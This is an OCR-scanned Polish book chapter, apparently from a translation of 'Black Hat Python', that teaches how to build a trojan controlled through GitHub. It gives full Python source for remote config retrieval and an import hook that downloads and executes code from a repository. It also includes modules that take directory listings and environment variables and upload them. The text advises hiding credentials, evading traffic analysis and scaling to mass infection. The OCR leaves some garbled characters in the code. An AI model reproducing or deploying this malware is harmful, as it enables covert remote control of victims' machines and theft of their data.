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Centrum dowodzenia
GitHub

]EDNYIW 7. NAJWIEKSZYCH PROBLEMOW DO ROZWIAZANIA PRZY TWORZENIU
SZKIELETOWEGO SYSTEMU TROJANOW JEST ASYNCHRONICZNE KONTROLOWANIE,
AKTUALIZOWANIE I ODBIERANIE DANYCH OD WDROZONYCH IMPLANTOW. MUSIMY
mie¢ wzglednie uniwersalng metode wysytania kodu do zdalnych wiruséw. Taki
poziom elastycznosci jest potrzebny nie tylko po to, by méc kontrolowa¢ swoje
trojany, ale réwniez po to, by méc przechowywaé kod przeznaczony dla kon-
kretnych systeméw operacyjnych.

Cho¢ hakerzy wynalezli wiele pomystowych technik dowodzenia swoimi
produktami, np. przy wykorzystaniu IRC-a i Twittera, my uzyjemy ustugi, ktéra
stuzy wlasnie do przechowywania kodu. Uzyjemy portalu GitHub do przecho-
wywania konfiguracji implantéw i filtrowanych danych, jak réwniez wszystkich
moduléw potrzebnych implantom do dzialania. Ponadto pokaze Ci, jak zmody-
fikowa¢ mechanizm importu macierzystej biblioteki Pythona, tak aby po utwo-
rzeniu przez nas nowego modutu trojana nasze implanty automatycznie prébo-
waly go pobraé¢ wraz ze wszystkimi bibliotekami zaleznymi wprost z naszego
repozytorium. Pamietaj, ze komunikacja z portalem GitHub jest poddawana
szyfrowaniu SSL i tylko nieliczne firmy aktywnie blokujg ruch z tego serwisu.

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rf/blahap
http://helion.pl/rt/blahap

Nalezy podkresli¢, ze do tych testéw uzyjemy publicznego repozytorium.
Jesli masz troche pieniedzy do wydania, to mozesz tez utworzy¢ repozytorium
prywatne, dzieki czemu ukryjesz swoje postepki przed wscibskimi. Ponadto
wszystkie moduly, informacje konfiguracyjne i dane mozna zaszyfrowa¢ przy
uzyciu par kluczy publicznych i prywatnych, o czym bedzie mowa w rozdziale 9.
Zaczynamy!

Tworzenie konta w portalu GitHub

Jesli nie masz jeszcze konta w portalu GitHub, to wejdz na strone GitHub.com
i sie zarejestruj, a nastepnie utworz nowe repozytorium o nazwie chapter?.
Potem musisz zainstalowa¢ biblioteke Pythona z API GitHub', aby méc zauto-
matyzowa¢ proces komunikacji z repozytorium. W tym celu wystarczy wykonaé
ponizsze polecenie w wierszu polecen:

pip install github3.py

Jesli nie masz jeszcze klienta git, to teraz go zainstaluj. Ja do pracy uzywam
systemu Linux, ale klient ten dziala na wszystkich platformach. Kolejna czynno-
$cig jest utworzenie struktury katalogéw w repozytorium. Wykonaj w wierszu
polecen ponizsze polecenia (odpowiednio je dostosuj, jesli uzywasz systemu
Windows):

$ mkdir trojan

$ cd trojan

$ git init

$ mkdir modules

$ mkdir config

$ mkdir data

$ touch modules/.gitignore

$ touch config/.gitignore

$ touch data/.gitignore

$ git add .

$ git commit -m "Dodanie struktury repozytorium dla trojana."
$ git remote add origin https://github.com/<yourusername>/chapter7.git
$ git push origin master

UtworzyliSmy podstawows strukture naszego repozytorium. Katalog config
zawiera pliki konfiguracyjne, ktére dla kazdego trojana beda inne. Kazdy trojan
bedzie stuzyl do czegos innego, wiec musi pobiera¢ wlasny plik konfiguracyj-
ny. Katalog modules zawiera moduly do pobrania i wykonania przez trojana.

! Repozytorium, w ktérym przechowywana jest ta biblioteka, znajduje sie pod adresem https://github.com/
copitux/python-github3/.
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Zaimplementujemy specjalny hak importu, aby umozliwi¢ naszym trojanom im-
portowanie bibliotek wprost z naszego repozytorium GitHub. Przy okazji umoz-
liwi nam to przechowywanie w GitHub zewnetrznych bibliotek, dzieki czemu
nie bedziemy musieli od nowa kompilowa¢ trojana za kazdym razem, gdy ze-
chcemy dodaé¢ nowe funkcje lub zaleznosci. Katalog data postuzy nam do prze-
chowywania zdobytych przez trojana danych, informacji z przechwytywania na-
ci$nieé klawiszy, zrzutéw ekranu itd. Teraz utworzymy kilka prostych modutéw
i przyktadowy plik konfiguracyjny.

Tworzenie modutow

W dalszych rozdziatach nauczysz sie robi¢ brzydkie rzeczy przy uzyciu trojanéw,
np. rejestrowaé naciskane klawisze i robié zrzuty ekranu. Ale na poczatek utwo-
rzymy kilka prostych modul6w, ktére bedg tatwe do przetestowania i wdrozenia.
Utwérz nowy plik w katalogu modules, nazwij go dirlister.py i wpisz do niego
ponizszy kod:

import os
def run(**args):

print "[*] W module dirlister."
files = os.listdir(".")

return str(files)

Ten krotki fragment kodu zawiera definicje funkcji run tworzacej i zwracaja-
cej liste wszystkich plikéw znajdujacych sie w biezacym katalogu. Kazdy modut
powinien zawiera¢ funkcje run przyjmujaca zmienng liczbe argumentéw. Dzieki
temu kazdy modul mozna zaladowaé¢ w taki sam sposéb, a jednoczesnie ma
sie mozliwo$é dostosowywania plikéw konfiguracyjnych przekazywanych do
moduléw.

Utworzmy jeszeze jeden modul, tym razem o nazwie environment.py.

import os

def run(**args):
print "[*] W module environment."
return str(os.environ)

Modut ten pobiera zmienne srodowiskowe ze zdalnej maszyny, na ktérej zain-
stalowany jest trojan. Teraz wyslemy ten kod do naszego repozytorium GitHub,
aby udostepnié go naszemu wirusowi. W wierszu polecen przejdz do gtéwnego
katalogu repozytorium i wykonaj ponizsze polecenia:

Centrum dowodzenia GitHub 121

Kup ksigzke Pole¢ ksigzke


http://helion.pl/rf/blahap
http://helion.pl/rt/blahap

$ git add .

$ git commit -m "Dodanie nowych modutow"
$ git push origin master

Username: *****xx*

Password: ***xkxx

Kod powinien zosta¢ wystany do repozytorium GitHub. Jesli chcesz sie
upewnié, to mozesz sie zalogowac i to sprawdzi¢! Dokladnie w ten sam spos6b
mozesz postepowaé przy pisaniu programéw w przysztosci. Utworzenie bar-
dziej zaawansowanych moduléw pozostawiam jako zadanie domowe do samo-
dzielnego wykonania. Jesli bedziesz mie¢ kilkaset wdrozonych trojanéw, mozesz
wysyla¢ nowe moduly do repozytorium GitHub i sprawdza¢, czy dobrze dzia-
laja, wlaczajac je w pliku konfiguracyjnym lokalnej wersji wirusa. W ten sposob
wszystkie trojany przed wdrozeniem na zdalnej maszynie mozna przetestowaé
w kontrolowanym $rodowisku.

Konfiguracja trojana

Cheemy mieé¢ mozliwosé zlecania naszemu trojanowi réznych zadan przez pe-
wien czas. W zwigzku z tym musimy jako$ sie z nim komunikowaé, aby poin-
formowaé go, ktére moduty ma uruchomié. Do tego celu wykorzystamy pliki
konfiguracyjne, przy uzyciu ktérych bedziemy tez mogli w razie potrzeby usy-
pia¢ trojana (nie dajac mu zadnych zadan). Kazdy wdrozony wirus powinien
mieé identyfikator odrézniajacy go od innych wiruséw, abysmy wiedzieli, skad
pochodzg przychodzace dane, oraz aby$my mogli kontrolowaé kazdy wirus
osobno. Skonfigurujemy trojana tak, aby szukat w katalogu config pliku o nazwie
IDENTYFIKATOR json zawierajacego kod w formacie JSON, ktéry mozna prze-
konwertowa¢ na stownik Pythona. Format JSON umozliwia takze tatwg zmiane
ustawien konfiguracyjnych. Otworz katalog config i utwoérz w nim plik o nazwie
abc.json z nastepujaca zawartoscia;

{

"module" : "dirlister"
}9
{

"module" : "environment"

}

Jest to prosta lista moduléw, ktére chcemy uruchamiaé przez naszego trojana.
P6zniej pokaze, jak wezytaé ten dokument i wlacza¢ moduly za pomocy iteracji
przez zawarte w nim opcje. Jesli zastanawiasz sie, jakie opcje bylyby przydatne
w modutach, to mozesz pomysleé o ustawianiu czasu wykonywania i liczby uru-
chomien oraz przekazywaniu argumentéw. Przejdz do wiersza polecen i wykonaj
ponizsze polecenie w katalogu gléwnym repozytorium.
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$ git add .

$ git commit -m "Dodanie prostych opcji konfiguracji."
$ git push origin master

Username: ****¥xxx

Password: *¥*x#kkix

Przedstawiony dokument konfiguracyjny jest bardzo prosty. Zawiera liste
stownikéw informujacych trojana, jakie moduty ma zaimportowac i uruchomié.
Gdy bedziesz pracowaé nad systemem szkieletowym, mozesz dodaé jeszcze inne
ustawienia, jak np. metody wykradania danych, o ktérych jest mowa w rozdziale 9.
Skoro mamy pliki konfiguracyjne i proste moduly do wykonania, mozemy zaczaé
prace nad gléwng czescig trojana.

Budowa trojana komunikujacego sie
z portalem GitHub

Teraz utworzymy wlasciwego trojana, ktéry bedzie pobieral opcje konfiguracyjne
i kod do wykonania z portalu GitHub. Pierwsza czynnoscia jest napisanie mecha-
nizméw obstugujacych polaczenie, uwierzytelnianie i komunikacje z interfejsem
API GitHub. Utwoérz plik o nazwie git_trojan.py i wpisz do niego ponizszy kod:

import json
import base64
import sys
import time
import imp
import random
import threading
import Queue
import os

from github3 import login
@ trojan_id = "abc"

trojan_config = "%s.json" % trojan_id

data_path = "data/%s/" % trojan_id
trojan_modules= []

task_queue = Queue.Queue()
configured = False

Jest to prosty kod z podstawows konfiguracja i instrukcjami importujacymi
niezbedne sktadniki, ktéry po skompilowaniu nie powinien mie¢ duzego rozmia-
ru. Napisalem, ze nie powinien, poniewaz wickszo$¢ plikéw binarnych Pythona
skompilowanych przy uzyciu narzedzia py2exe’ ma okolo 7 MB. Jedyna godna

% Narzedzie py2exe mozna znalezé na stronie http://www.py2exe.org).
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blizszej uwagi rzecz to zmienna trojan_id @ zawierajagca identyfikator trojana.
Gdybys chcial rozwinaé¢ ten program do rozmiaru botnetu, to przyda Ci sie
mozliwo$é generowania trojanéw, ustawiania ich identyfikatoréw, automatycz-
nego tworzenia plikéw konfiguracyjnych wysylanych do serwisu GitHub oraz
kompilowania trojanéw do postaci pliku wykonywalnego. Ale w tej ksigzce nie
opisuje metod tworzenia botnetéw. Uzyj swojej wyobrazni.

Teraz wySlemy kod do repozytorium GitHub.

def connect to_github():
gh = Togin(username="blackhatpythonbook",password="justin1234")
repo = gh.repository("blackhatpythonbook","chapter7")
branch = repo.branch("master")

return gh,repo,branch
def get file contents(filepath):

gh,repo,branch = connect_to_github()
tree = branch.commit.commit.tree.recurse()

for filename in tree.tree:
if filepath in filename.path:
print "[*] Znaleziono plik %s" % filepath
blob = repo.blob(filename. json data['sha'])
return blob.content

return None

def get_trojan_config():
global configured

config_json = get file contents(trojan_config)
config = json.loads(base64.b64decode(config_json))
configured = True

for task in config:

if task['module'] not in sys.modules:

exec("import %s" % task['module'])
return config
def store_module_result(data):

gh,repo,branch = connect_to_github()
remote _path = "data/%s/%d.data" % (trojan_id,random.randint(1000,100000))
repo.create_file(remote path,"WiadomoS¢ o zatwierdzeniu",base64.

“>hb64encode(data))

return
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Te cztery funkcje obstuguja podstawowg komunikacje miedzy trojanem a ser-
wisem GitHub. Funkcja connect_to_github uwierzytelnia uzytkownika w repo-
zytorium i zapisuje biezace obiekty repo i branch dla innych funkcji. Pamietaj ze
w prawdziwym programie nalezaloby maksymalnie zaciemni¢ te procedure
uwierzytelniania. Ponadto warto rozwazyé, do czego kazdy trojan w repozytorium
ma dostep, tak aby jesli wirus zostanie wykryty, kto§ nie mégt go wykorzysta¢ do
usuni¢cia wszystkich zdobytych przez nas danych. Funkcja get file contents
stuzy do pobierania plikéw ze zdalnego repozytorium i odczytywania ich za-
wartosci lokalnie. Przy jej uzyciu bedziemy wezytywaé opcje konfiguracyjne, jak
réwniez odezytywaé kod zrédtowy moduléw. Funkcja get_trojan config stuzy
do pobierania z repozytorium dokumentéw konfiguracyjnych, zawierajacych
wskazéwki dotyczace tego, ktére moduty trojan ma uruchomidé. I ostatnia funkcja,
store_module_result, wysyla zgromadzone dane na nasze konto. Teraz utworzymy
hak importu pozwalajacy importowa¢ zdalne pliki z repozytorium GitHub.

Hakowanie funkcji importu Pythona

Skoro dotarte$ do tej strony, to wiesz, ze do pobierania zewnetrznych bibliotek
do programéw w Pythonie stuzy instrukcja import. Podobna, ale nieco rozsze-
rzong funkcjonalno$é chcemy mieé tez w naszym trojanie. Méwiac dokladniej,
chcemy sprawié¢, aby po pobraniu zaleznosci (np. z uzyciem Scapy lub netaddr)
nasz trojan udostepnial dany modul wszystkim pozostatym modutom, ktére p6z-
niej dodamy. W Pythonie mozna modyfikowaé sposéb importowania moduléw,
tak ze jesli jakis modul nie zostanie znaleziony lokalnie, nastepuje wywotanie
klasy importowej, ktéra umozliwia pobranie potrzebnej biblioteki ze zdalnego
repozytorium. Nalezy tylko doda¢ wlasng klase do listy sys.meta path’. Zatem
teraz napiszemy wtasng klase tadujaca zaleznosci. Jej kod zrédtowy znajduje sie
ponizej:

class GitImporter(object):

def _init_ (self):
self.current module code = ""

def find_module(self,fullname,path=None):
if configured:
print "[*] Proba pobrania %s" % fullname
o new Tibrary = get file_contents("modules/%s" % fullname)

if new_Tlibrary is not None:
(2} self.current_module code = base64.b64decode(new Tibrary)
return self

return None

3 Na stronie http://xion.org.pl/2012/05/06/hacking-python-imports/ znajduje sie doskonale objasnienie

tej techniki napisane przez Karola Kuczmarskiego.
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def Toad_module(self,name):

module = imp.new_module(name)
exec self.current _module_code in module. dict
sys.modules[name] = module

(N~

return module

Za kazdym razem gdy interpreter prébuje zaladowa¢ niedostepny modut,
wykorzystana zostaje klasa GitImporter. Najpierw wywolywana jest funkcja
find_module, ktéra ma za zadanie zlokalizowa¢ modul. Przekazujemy to wywo-
lanie do naszego tadowacza zdalnych plikéw @ i jesli dany plik znajduje sie
w naszym repozytorium, kodujemy jego zawarto$¢ algorytmem base64 i zapi-
sujemy ja w naszej klasie @. Zwrot self oznacza dla interpretera Pythona, ze
znalezlismy modut i ze mozna wywola¢ funkcje Toad module w celu jego zala-
dowania. Przy uzyciu macierzystego modulu imp najpierw tworzymy nowy pu-
sty obiekt modutu @, a potem wstawiamy do niego kod pobrany z GitHub @.
Ostatnig czynnos$cig jest dodanie utworzonego modutu do listy sys.modules @,
aby znajdowaly go kolejne instrukcje importu. Pozostalo nam juz tylko dokon-
czenie trojana i sprawdzenie, czy dziala.

def module_runner(module):
task_queue.put(1)
(1] result = sys.modules[module].run()

task_queue.get()

# Zapisuje wynik w repozytorium
(2] store_module_result(result)

return
# glowna petla trojana
® sys.meta_path = [GitImporter()]
while True:

if task_queue.empty():

(4] config = get_trojan config()
for task in config:
(5] t = threading.Thread(target=module_runner,args=(task['module'],))
t.start()

time.sleep(random.randint(1,10))

time.sTeep(random.randint(1000,10000))
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Przed rozpoczeciem petli gléwnej aplikacji dodajemy do programu nasz im-
porter moduléw @. Pierwsza czynnoscia jest pobranie pliku konfiguracyjnego
z repozytorium @, a nastepna — uruchomienie modutu w osobnym watku @.
W funkcji module_runner wywolujemy funkcje run modutu @, aby uruchomié
jego kod. Wynik dzialania modutu powinien byé zapisany w lanicuchu, ktéry
przesylamy do naszego repozytorium @. Na koniec usypiamy program na losowa
ilo§¢ czasu, aby zmyli¢ sieciowe algorytmy analizy wzoréw zachowan. Oczywiscie
aby ukryé swoje niecne intencje, mozna tez stworzy¢ troche ruchu do strony
Google.com i zrobi¢ kilka innych rzeczy. Teraz sprawdzimy, jak nasz trojan spi-
suje sie w praktyce!

Czy to w ogdle dziata

Bierzemy nasza Slicznotke na przejazdzke w wierszu polecen.

OSTRZEZENIE  Jesli w plikach lub zmiennych srodowiskowych przechowujesz poufne dane, to
pamietaj, ze w bezplatnym repozytorium GitHub bedq one widoczne dla catego
Swiata. Pamigtaj, Ze ostrzegalem — no i oczywiscie mozesz tez zastosowac tech-
niki szyfrowania opisane w rozdziale 9.

$ python git_trojan.py

[*] Znaleziono plik abc.json

[*] Proba pobrania dirlister

[*] Znaleziono plik modules/dirlister
[*] Proba pobrania environment

[*] Znaleziono plik modules/environment
[*] W module dirlister.

[*]1 W module environment.

Doskonale. Trojan polaczyl sie z moim repozytorium, pobral plik konfigura-
cyjny oraz pobral dwa moduly ustawione w tym pliku i uruchomit je.
Teraz wréé do wiersza poleceti i wykonaj ponizsze polecenie:

$ git pull origin master

From https://github.com/blackhatpythonbook/chapter7
* branch master -> FETCH_HEAD

Updating f4d9cld..5225fdf

Fast-forward

data/abc/29008.data | 1 +

data/abc/44763.data | 1 +

2 files changed, 2 insertions(+), 0 deletions(-)
create mode 100644 data/abc/29008.data

create mode 100644 data/abc/44763.data

Znakomicie! Trojan przestat wyniki zwrécone przez nasze dwa moduly.
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Opisane rozwigzanie mozna rozszerzy¢ i udoskonalié¢ na wiele sposobéw.
Na dobry poczatek warto zastosowaé szyfrowanie wszystkich modutéw, danych
konfiguracyjnych i wykradzionych informacji. Jesli zamierzasz dokonywaé in-
fekeji na masowsg skale, musisz zautomatyzowaé zarzadzanie pobieraniem da-
nych, aktualizowanie plikéw konfiguracyjnych oraz tworzenie nowych trojanéw.
Przy dodawaniu kolejnych skladnikéw funkcjonalnosci trzeba tez rozszerzyc
mechanizm tadowania dynamicznych i skompilowanych bibliotek Pythona. Teraz
utworzymy kilka samodzielnych zadan trojana. Jako prace domowa pozostawiam
ich integracje z trojanem w GitHub.
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